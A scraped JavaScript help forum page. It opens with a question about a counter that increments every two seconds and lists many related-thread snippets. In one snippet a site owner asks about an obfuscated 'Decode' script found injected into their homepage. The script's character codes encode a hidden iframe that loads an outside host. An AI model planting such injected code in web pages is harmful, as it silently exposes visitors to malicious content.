SEARCH YOUR SOLUTION HERE  

help creating a counter - JavaScript Help

has anyone made a counter before that increases every 2 seconds

it doe not have to increase every time a user clicks on something, it just has to increase by itself every 2 seconds

Posted On: Monday 31st of December 2012 03:23:24 AM Total Views:  355
View Complete with Replies




Related Messages:

Confused about setTimeout function.   (193 Views)
first things first, please take a second to check out the page on the link below. http://bookofjavascript.com/Chapter13/Assignment.html In this page, you are supposed to click on the "Make Happiness Bounce" button to make the smiley face start bouncing and ...
JavaScript "objects" to extend HTML Elements   (209 Views)
Hi! I create HTML pages on the server side. I want to extend DIV elements with more information. E.g.:
Now I want Joe to have an age for example and access it using: $('joe').age = 20; Doing ...
IF & math formula student question   (216 Views)
I'm using the formula: var ship=round((((total1/20)*2)+((total2/20)*2)+((total3/20)*2)+(((total6/20)*3) +2)+((total7/20)*2)),2) to calculate shipping charges, it works perfect. Now, I want to modify this formula so the minimum net result = 5 and the maximum = 30. So if the calculated value equals less ...
Javascript Debugger defaulting to VS2003 instead of MS Script Editor   (176 Views)
Help! I installed the Office MS script editor which seems to be a stripped down version of visual interdev for scripts. After I installed it I was able to insert the word "debugging" in jscript and have it (after choosing ...
Using Javascript to change a table   (185 Views)
I would like to use the equivalent commands of 'onEnter' and 'onLeave' to change the background of cells in a table. Can anyone tell me if there is a simple method of doing this. How can I tell which cell ...
Can't import .OCX assembly into Web Matrix Project.   (183 Views)
I am using Web Matrix Project as .NET programming environment. Can you show me detailed steps how to import the .ocx library into the Web Matrix Project. I can't seem to be able to import other assembly than .dll, ...
Showing/Hiding Attributes of the Window Using Javascript   (149 Views)
I would like to hide certain parts of a window such and the menu bar, toolbar, status bar, etc. However, the following properties of the window object give an error saying they do not exist in Internet Explorer (whether any ...
VB.Net Compiling problem   (154 Views)
Does anyone know how can I get al the references of my project, because when I'm compiling my solution with vbc I get a lot of errors about : subordinados. vb (102) : error BC30002: 'DataView' type is not defined. ...
Focus on UI Design   (164 Views)
UI is important because it affects the feelings, the emotions, and the mood of your users. If the UI is wrong and the user feels like they can't control your software, they literally won't be happy and they'll blame it ...
Debugging Javascript   (173 Views)
Does anyone know a way to debug javascript in IE I usually use mozilla's built in debugger but I have stumbled across a problem that occurs in IE and not Mozilla.
read/write jpeg attributes   (154 Views)
, Is it possibel to retrieve a comment/text from a jpeg image and put it in a var/string Can I write a comment/text to a jpeg aswell I can not find much above this issue - hope someone can help. ...
change button text field .   (276 Views)
everybody i need help how can i make it user click join button->change the text "view" after that user click view btn goes another page any body plz help me. this code change text working fine. function showtext() { document.getElementById("joinbutton").childNodes[0].nodeValue="View in MyPlans" } Join
Right click and get "copy link address" on javascript redirect   (189 Views)
So here's my situation, I have a div that is clickable and redirects to a page using the window.location.href method. I'm not using anchor tags because within the div, there are other links that can be clicked. So I'm using the onclick redirect for the div, then using stopPropagation to prevent the redirect when links are clicked. The problem is, I would like the javascript redirect to also work like a link. So that when you right click it, you are given the option to copy the link address, as this is significantly more convenient for myself and my users, rather than having to click it first and then copy the URL. Does anyone know how this can be accomplished This post has been edited by itdoell: 30 November 2011 - 04:07 PM
stopPropagation question   (255 Views)
there, Maybe someone can point me in the right direction here.... Scenario: Tic-tac-toe game, table with 9 cells. I have the game coded to work perfectly but the final issue is to stop the player from being able to click the same cell and override the other players move. I was able to disable the onclick event by using stopPropagation, but I can't find a way to re-enable it after the game is over. Maybe there's a more elegant way of doing it.. Anyone
The For... In Statement   (149 Views)
Okay I just saw an example of the for..in statement and it seems that it basically is an array. However, I know in javascript there are ways to make an array. So my question is do most web developers use the for...in statement or is it just used as an alternative method to the javascript array
Making a mouseover/out task into function using classes for images   (127 Views)
After many trials and errors finding exactly what someone wanted I came up with the solution I wanted for an image rollover. The problem is I put all the code directly into the mouseover/mouseout function. I am not sure how to implement this into two separate Javascript functions to limit the amount of code I have to write. The reason I am not sure how to write the function is because the images are in classes and the results are going to be pulled from a sql query, so they can't have their own id. So, in a nutshell, I just would like some guidance on how to put the mouseover/mouseout code into a Javascript function. Many
auto refresh every 2 seconds of a textarea   (190 Views)
i have a text area of php inside that reads off messages of a database and i wanted to have it auto refresh every 2 seconds. im making it into a chat box. at the moment what you have to do is press a refresh button but its a hassel. i dont want to get into to much ajax becuase i have a ton more stuff to do and dont want to spend to much time on 1 thing. but it looks like this is there any javascript i could post around this to make it just refresh the textarea and repeat the process every 2 seconds
Download MP3 file using JAvascript   (345 Views)
Hi I need to allow user to download mp3 files when they click on the link rather than streaming the audio in the browser. Need to use only Javascript to download the file. Any ideas Please help me. its very urgent.
2 Radio buttons to = 1 image   (170 Views)
. I am new here. I know the top says do your homework first but I am new to javascript and I am not sure if my idea will even work in java script but here we go. My Dad has a web page and I am trying to help him out with it. He builds duck calls and I am trying to make a build your own call section for him. I am wanting every color combination possible for this page to be set up and I would like to do it with radio buttons and the color name next to it. His calls come in 2 parts. The first is the barrel and the second part is the insert. I am wanting people to be able to be able to click 2 separate colors to show a different image for each selection they choose. So I.E. Black + Orange = BlackOrange.jpg and it will show a picture of a black barrel and orange insert of the call. The lay out is pretty simple. I am wanting the picture on top and 2 columns to be listed with radio buttons going down each column and by each radio button i am wanting the colors. For example. ------------[Image] Barrels -------------- Inserts ================================= o Black --------------- o Black o White --------------- o White o Orange--------------- o Orange The page didn't show up like I wanted it took out the spacing so I inserted -'s to show off the actual look And so on and so forth. I can read java script and edit it decently. I am not a complete newbie when it comes to coding but I can't figure out how to write it to get the output I want. I have found several different pages that offer 1 radio button for each picture but I am wanting to see if I can get it setup the same way as I have it laid out if it is even possible. Any help would be appreciated and if you can't help if somebody could find me a link to something that could point me in the right direction that would be appreciated as well. I know I can go the easy route and just do 1 image for 1 radio button and have it setup like: [Image] Barrels/Inserts ================ oBlack/Black oBlack/White But that just doesn't look as professional and to be honest I have been trying to get the way I want it done for a while now and have had no success. It is more of a personal challenge for me to find out how to get it done the way I want. I am thinking it should be something like: if column A1 + column B3 = true go to imageA1B3.jpg(which would be a black barrel with a orange insert) or something along that lines but I can't get it to work any way I try. Anyways sorry for the long post and like I said any help would be appreciated.
SwfObject breaks Javascript Image Rotator   (177 Views)
I have a Javascript slideshow (image rotator) on an HTML page, and it works fine until I embed a swf onto the same page. At that point the image rotator won't show up anymore. Is there a way to fix this Can I have both on the same HTML page
java script +UML activity diagram   (171 Views)
hai, is there any open source js library for creating UML Activity diagram in html other than Joints
XHR using basic authentication   (222 Views)
Hi , I'm struggling with an issue I'm testing at the moment. I'm using XHR to make some REST requests. Right now I need to handle HTTP 401 responses. When a resource is requested such as a Javascript file or CSS file the browser will popup a prompt for username and password, which is normal behaviour. When I make an XHR request for POST,GET or PUT I get an XHR response which includes a status of 401 and no popup from the browser, this is also normal. The problem is when I make a DELETE request, I get the expected XHR response AND also the browser still pops up the username and password prompt. Not Good. Has anyone had this problem before and is there any solutions out there
Help using the focus() method   (169 Views)
Hi when I make a frameset, instead of having the second child window focused by default on the onload event, I would like to have the first child window focused. I tried this code with no success, the second window still was focused not the first. Can anyone please help Here's my attempt: My focus attempt This post has been edited by codemonkey92: 07 February 2010 - 11:46 PM
Not sure what I am doing wrong...   (194 Views)
This is code is all messed up. What it is to do is let the user type any bag of numbers seperated by commas and then process the numbers in order. If there are two of the same number ex.(1,1,2,3) the output would be (1,2,3). I got the code to work with the prompt, but i cant figure it out using a form and a function. Heres the prompt one that works a=prompt("hello, please type a comma delimited 'bag' of numbers") A=a.split(",") B=[] A.sort() for (i=0;i
Can't get Switch Statement to Work.   (226 Views)
I am having trouble with a switch statement Assignment. I don't really know if what I am doing is even close to right. Assignment: Switch Create a HTML that uses Javascript. Create a page that tells a student the range their mark falls in if they know their letter grade. Below 50 is an "F", 50-59.9 is a D, 60 - 69.9 is a "C", 70 - 79.9 is a "B", 80 - 89.9 is an "A" and 90 - 100 is an "A+". You determine the input and output format. Switch var Mark = document.getElementById('letter').value switch(Mark) { case 1: if (Mark = A+ || Mark = a+) alert("Your Mark Range is 90% - 100%"); break; case 2: if (Mark = A || Mark = a) alert("Your Mark Range is 80% - 89.9%"); break; case 3: if (Mark = B || Mark = b) alert("Your Mark Range is 70% - 79.9%"); break; case 4: if (Mark = C || Mark = c) alert("Your Mark Range is 60% - 69.9%"); break; case 5: if (Mark = D || Mark = d) alert("Your Mark Range is 50-59.9"); break; case 6: if (Mark = F || Mark = f) alert("Your Mark Range is below 50%"); break; } Please Enter Letter Grade to find Mark Range. This post has been edited by cod4ever: 17 January 2010 - 04:58 PM
simple animation   (202 Views)
i'm trying to graph line with a delay between each line drawn - my code is: var jg = new jsGraphics('Canvas'); jg.setColor('maroon'); jg.drawLine(40,130,80,120); setTimeout('jg.paint()',10000); jg.drawLine(80,120,120,110); setTimeout('jg.paint()',10000); unfortunately it draws all the lines at the same time i.e the setTimeout function doesn't like the paint method - any ideas Abbey
Live Tv Script   (178 Views)
Please Give me java script for live tv for my web page.
Change CSS with JavaScript   (190 Views)
, I am at the very beginning of Javascript. This is the first website I tried to include Javascript, so don't be too mean What I want to do is to change a CSS property dynamically. It'll be best if I show you what I did: function ChangeHeight() { var browser = navigator.appName; if(browser == "Microsoft Internet Explorer") { var clientHeight = document.body.clientHeight; var contentHeight = clientHeight - 218; document.getElementById('content').style.height = contentHeight; } else { var clientHeight = window.innerHeight; var contentHeight = clientHeight - 218; document.getElementById('content').style.height = contentHeight; } } This is in my header. I heard that window.innerHeight doesn't work for Internet Explorer, that's why the if statement. What I am trying to do is to change my height of my content area dynamically when it gets resized. My body tag looks like this: And I have a div area in my body, which looks like that: And the content div in my external stylesheet, which I of course linked up, looks like this: #content { height: 400px; float: right; width: 678px; padding-bottom: 1em; background-image: url(../images/dp-content-purp.gif); border-top: 0px solid; border-right: 2px solid; border-bottom: 0px solid; border-left: 2px solid; border-color: #FFF; overflow: auto; } Why I want do change this Well... Different people have different resolutions and I want that my website fits perfectly into the browser. *EDIT: Maybe something, that could help. I tried the following: alert(document.getElementById('content').style.height); This shows just an empty MessageBox with nothing in it. And by the way... Happy
javascript Incorrect RHS Data Type   (213 Views)
What happens if the right hand side data type is incorrect This post has been edited by dbrine: 18 October 2009 - 07:07 AM
"function Decode" script been hacked into my site?   (204 Views)
I recently looked at the live code on the homepage of my personal site, and am I a bit concerned upon discovering a script that appears at the very bottom of my page, AFTER the closing html tag. This is the script: function Decode(){var temp='',i,c=0,out='';var str='60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!98!46!108!45!97!45!99!46!99!110!47!34!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!';l=str.length;while(c
need to create a table in a div dynamically with js   (166 Views)
I've got 2 div's and the first one has a form in it. I want to create a table with the results of the form results in the second div. It currently erases the page to create the table
how to redirect to a jquery tab   (175 Views)
i want to redirect the page after submitting to the exact page with the tabs. but when i submit it just loads the same page. but what i want is it should load under the home tabs. my other pages are loading in the div tags which are loaded using the Jquery tab here is my code. please help me Enter The Question   Enter the Answers 01. Correct Answer 02. Correct Answer 03. Correct Answer 04. Correct Answer i have tried like that( i have bold it.. please refer the bold section). my home tabs are like this $(document).ready(function() { $('#main-side-content').tabs(); }); Home Create A Class Register Students MCQ Paper Setting Create Paper
Basic Javascript Rollover   (207 Views)
For some reason I cant get my rollovers to work on my web design here's the html http://halffull.free...rash/index.html THE Javascript window.onload = rolloverInit; function rolloverInit() { for (var i=0; i
Hide Address of server in popupwindow   (241 Views)
how to close browser window with javascript   (194 Views)
hi, can any one tell me what are the ways to close browser window in javascript. i'm trying with window.close() but it's not working in firefox..
Passing form values to new window   (233 Views)
I'm trying to figure out how to pass selected values from a form to a page (both pages are ASP) in a new window via the URL. My form uses radio buttons as a means to make a selection: Option1 Option2 Option3 Option4 So that my URL would look something like this: http://www.mywebsite...t.aspu_input=A Any ideas on how to do this
Floating Window Codes   (206 Views)
, I am so glad I found you ! So here is my problem: I built this Flash site(first one) for a photographer. Now I have thumbnails/button that open to a new browser window with the corresponding photo gallery. Now, my client wants the window to be menubarless, no scrollbar, basically only have the frame with her name on it. I see it all the time but I am having a real hard time finding the right way to do it... Right now, I have her galleries on regular browser window. First, should I add some Actionscript or Javascript to the button so the link would open onto the floating window. Do I have to add something to the galleries's HTML script and where on it Can you help me with the codes and all If so, THANK YOU SO MUCH!! I have been pulling my hair out over this for the last few weeks. Let me know if you need more details, Marianne , okay, im sorry i misunderstood your question when i read it the first time, or i didnt realize it had to be a flash button. im not a flash master, might want to move this to the flash forum and get one of them in here. but in the meantime, try adding the first bit of code i gave you to the html file on which the flash is placed, in the header. then, in the actions on the button add java script:popUp('filename.html') with filename.html being the full url of the gallery, im not sure if the javascript from the html page will carryover into the html, thats a question for the flash gurus, but its worth a shot. sorry. hope they help you out .
Stop YouTube video when closing div - JavaScript Help   (176 Views)
, I am using a hide/show system which is displaying youtube videos. I would like the youtube video to STOP whenever the div is closed.How do I do thi
httpOnly Cookie retrieval - JavaScript Help   (242 Views)
For FireFoxI've been learning more about AJAX, and one of my applications need to read a httpOnly cookie (not my choice) in order to work properly. How can I go about this I tried: var req = null; try { req = new XMLHttpRequest(); } catch(e) {} if (!req) try { req = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {} if (!req) try { req = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} req.open('GET', 'http://www.removed.com/', false); req.send(null); alert(req.getResponseHeader("bb_sessionhash")); Yet his only outputs null
Need a good source or a good tutorial on how to do page load data jquery. - JavaScript Help   (180 Views)
I have looked up on the web for some good tutorials, so I haven't really found any "SIMPLE ONES". I'm looking for a good simple tutorial on how to make your page continue and continually load data when you scroll down the page. Will need ajax to pull some data from the database. I looked at 9Lessions tutorial on page load data jquery, but it's pretty complex. I tried to make it work in an example and it didn't work. But, all I'm looking for is a very simple tutorial on how to make a page load data jquery.
Two onchange events not working? - JavaScript Help   (313 Views)
I have two events which i want to call in select while onchange I am uing this but its not working........
MOVED: good books on jquery? - JavaScript Help   (207 Views)
This topic has been moved to Miscellaneous.http://www.phpfreaks.com/forums/index.phptopic=343577.0
building a url from explode function and getting page title to make new url? - JavaScript Help   (193 Views)
As i see it this should be an easy one.. Im using the addthis shareing script to share a page url on multiple platforms... My problem is that i have sef urls and also a seperate fast search page where profiles are called up via search. These profiles are called in an iframe and the url is then notadd sef any longer but the standard url... What i need to do is build the sef url from the server request uri and then add the page title which is also the profiles name to the new url---i can do everything to build the url, but i do not know how to pull the page title one thing to note is that the page being shared is in an Iframe, i dont think this is a big problem as the script to share is also on the page which appears in the iframe..here is the addthis shareing script which calls to the url: addthis_pub = \'davidp13\'; '; }here is an example of the url and the result i need for the sef url equivalent: current link no sefhttp://www.xxxxxxxxx...ile&profileid=1Sef result needed to fill the [URL] above:http://www.xxxxxx.co...nersname/1.htmlthe "1" is the profile owners profile id i can pull this from the url above, the viewprofile is a standard word in the url, but the profile owners name is by default also the PAGETITLE.which doesn't show in the non sef link..any ideas how to pull the pagetitle and add it to the new url before it is passedbest regardsAntony
Php with Jquery (SELECTING) - JavaScript Help   (232 Views)
How do you SELECT * FROM table WHERE field='(a jquery value)' I want to know is to know what gender they clicked on so I could run this query:SELECT * FROM table WHERE gender='whatever they clicked';Here is my Javascript code: $(document).ready(setupBeginning); function setupBeginning() { $("#rest").hide(); $(".femaleTrigger").click(showRestFemale); $(".maleTrigger").click(showRestMale); } function showRestFemale() { $("#rest").show(); $("#gender").hide(); } function showRestMale() { $("#rest").show(); $("#gender").hide(); } $(function() { $( "#tabs" ).tabs(); }); Now here is my HTML code: Click on your gender: Male Female Base Eyes Mouth Nose Hair Bases here. Eyes here. Mouths here. Noses here. Hairs here. Now I want to use PHP toSELECT * FROM tablename WHERE gender='whatever they clicked';How would I receive the data of what gender they clicked on
javascript/jquery detect user scroll 200px from bottom of page - JavaScript Help   (186 Views)
I have a page that loads older comments when you scroll to the bottom of the page, it works well however I want it to load the comments when the user has scrolled to around 200px up from the bottom of the page (so they have a chance to load to help keep the user scrolling down smoothly without breaks from it loading).currently using:$(window).scroll(function () { /* if ($win.scrollTop() == 0) ///scrolled to page top*/ if ($(window).height() + $(window).scrollTop() == $(document).height()) { //code to be executed } });
JQuery hidden adjacent div issue - JavaScript Help   (205 Views)
, I am just starting to get into jQuery and I have run into a problem that is annoying the hell out of me. I have a menu with all the main options for the site. However, this site is part of a large network; so I need to include an option for the global nav for the network. The current menu for the site is so: Home About Archives Contact Subscribe to RSS I didn't write this page, just going in to add the global nav. Anyway, I modified the menu as such and added the following under it: +/- Home About Archives Contact Subscribe to RSS writeTopGlobal_transition(); writeBotGlobal_transition(); $(function() { $('.hiddenNav').hover(function() { $('.globalNav').show(); }); $('.globalNav').hover(function() {}, function() { $('.globalNav').hide() }); }); The two functions in hidden div basically do a document.write of the global nav (which is fairly extensive). Anyway, here is my issue. As you can probably guess with my code I want the global nav to appear when a user hovers over the "+/-" link in the main menu. Then I need it to stay active as long as they are over it. Currently, this works fine. The global nav goes away when they move their mouse off of it. However, during testing I noticed my issue. If you just hover over the "+/-" and never go to the global nav section it stays open. I need it to act much like a drop down in that if the user hovers over the "+/-" the nav shows up and if they move it goes away....unless they move to the nav where it should stay up until they move off of it
jQuery/JavaScript trigger on canvas image load - JavaScript Help   (231 Views)
Edit: after re-thinking and reading my post: Short question is: how do you add an Event listener on the img loading inside a canvas $("canvas img") doesn't work for example... , using jQuery and Javascript... I have a function that adds a line, when this line is added, another function is run that adds a Canvas and loads an image within it like so:Within addCanvas an image is loaded and I can trigger a function upon the image loading.. Cool. But how do I get the previous function to know when this image is loaded I tried adding return true; within addCanvas and then in the previous function doing an if(addCanvas()){ } but it seems to get to that line and if the image hasn't loaded, it doesn't wait function addText(){ // Add text code addCanvas(); } function addCanvas(){ // add canvas, load image var $img = new Image(); $img.src = 'image.png'; $img.onload = function(){ // do stuff } } I wanted the previous function to know when it has loaded so I can continue with all the variables I currently have... If I can't check for it in the previous function then I'll have to pass them all when they're only needed in certain conditions and its a little messy.It's a canvas but can't really do$("canvas").load(function(){ // loaded });because the canvas is already loaded... its the image inside it I want to check that has loaded
preloading quicktime movies. - JavaScript Help   (226 Views)
is there any way to preload quicktime media before the user decides to view it.i know for images i can do this:var images = new Image;images.src = 'location.gif';can you do that for other media as well
Hash URL based website. load pages with multiple variables in url. etc. - JavaScript Help   (193 Views)
I have a website that is completely hash based. It only ever loads one page the whole time you're on the site. The rest of the pages are loading in with ajax. What I am using to check for hash changes is $(window).hashchange( function (){}); and everytime the hash changes it loads the page that it tells it to based on whats in the hash. Now. This works perfectly fine when i just have one variable in the url that needs to load the page, however when i want to have a tabbed navigation inside of the first page that loads it either has to load the entire page again. (which would make this completely pointless if I kept it like this), or i cannot pass a url in the hash, (which wouldn't work because if you reload the page it wouldn't automatically go back to that tab and everything. So what I need is a better system in how i get pages through the hash. Okay to make it more clear as to what I am looking for I'll show some examples.example hash with only one page needing to be loaded.www.mysite.com/index.php#!/profile&id=1This will load the php page called profile.php, with the users ID as number 1. now, when you click on a tab on the users page the url would look something like this:www.mysite.com/index.php#!/profile&id=1&tab=informationThis will load information.php into a div inside of the profile.php page without reloading the profile page. (Well I mean that's what i want it to do)Could anyone give me some direction in how I could accomplish this.
how to highlight table row on select? - JavaScript Help   (248 Views)
hi . as stated in my question above, i want to be able to highlight a table row when i click on it and unhighlight when i click on another row. i'm totally new to javascript and jquery so i don't know where to begin. i've used php also on this one to display the records in the table. hope you can help. just tell me if something is lacking in the code i've posted or if i need to post javascript. here's the html&php code.. Records - of  Reset ID Course Year Block